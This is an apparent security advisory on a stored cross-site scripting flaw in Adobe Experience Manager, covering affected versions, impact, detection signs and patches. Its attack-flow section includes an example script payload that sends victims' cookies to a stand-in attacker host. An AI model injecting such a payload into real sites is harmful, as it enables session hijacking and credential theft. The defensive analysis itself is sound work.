CVE-2026-75739: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-75739 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged authenticated attacker to inject malicious scripts into vulnerable form fields. When a victim browses to a page containing the compromised field, the injected JavaScript executes in their browser. Affected products include Adobe Experience Manager 6.5 (up to and including 6.5.24), AEM 6.5 LTS (up to SP2), and AEM as a Cloud Service (up to and including version 2026.7.0). The vulnerability was disclosed and patched on September 8, 2026, with a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. Insufficient sanitization of user-supplied input in AEM form fields allows a low-privileged attacker to persist malicious JavaScript payloads server-side. The attack vector is network-based, requires low privileges and user interaction (a victim must visit the affected page), and results in a changed scope — meaning the injected script can affect resources beyond the vulnerable component's security boundary (Adobe Advisory, GitHub Advisory). No public proof-of-concept code has been identified at this time.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any users who view the page containing the injected payload. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and potential lateral movement within the AEM environment if administrative users are targeted. Confidentiality and integrity are both partially impacted, while availability is unaffected (Adobe Advisory, GitHub Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept as of the disclosure date. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.277%, placing it in the 20th percentile for exploitation likelihood within 30 days. Exploitation requires a low-privileged authenticated account and victim interaction, limiting opportunistic mass exploitation (GitHub Advisory, Adobe Advisory).

1. Gain low-privileged access: Obtain or create a low-privileged account on the target AEM instance (e.g., a content author or contributor account).
2. Identify vulnerable form fields: Navigate to AEM pages or components that render user-supplied input without proper sanitization, such as editable text fields in forms or page components.
3. Inject malicious payload: Submit a stored XSS payload into the vulnerable form field, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent event-handler-based payload.
4. Wait for victim interaction: The payload is persisted server-side. When a higher-privileged user (e.g., an administrator or editor) browses to the page containing the injected field, the script executes in their browser.
5. Harvest results: The attacker receives stolen session cookies, credentials, or other sensitive data via the attacker-controlled endpoint, potentially enabling account takeover or further actions within AEM (Adobe Advisory, GitHub Advisory).

• Logs: AEM access logs showing POST requests to form or component endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, <script>, onerror=, onload=) in form field parameters.
• Logs: AEM error or audit logs showing unexpected content modifications by low-privileged user accounts in page or form components.
• Network: Outbound HTTP requests from victim browsers to unknown or attacker-controlled domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes associated with form fields or editable components.
• Process/Browser: Victim browsers making unexpected requests to external domains when loading AEM pages, observable via web proxy or browser developer tools.

Adobe has released security update APSB26-98 on September 8, 2026, addressing this vulnerability. Users should upgrade to the following fixed versions: AEM 6.5 version 6.5.25.0 or later, AEM 6.5 LTS SP3 or later, and AEM as a Cloud Service version 2026.8.0 or later. As interim mitigations, administrators should restrict form field editing permissions to trusted users only and implement Content Security Policy (CSP) headers to reduce the impact of XSS execution. Monitoring form submissions for suspicious script injection patterns is also recommended (Adobe Advisory).

The vulnerability was noted in the CIS advisory covering multiple Adobe product vulnerabilities released in September 2026, and was flagged by security monitoring platforms including Tenable and AUSCERT. No significant independent researcher commentary or social media discussion has been identified beyond standard vulnerability tracking and patch notification channels.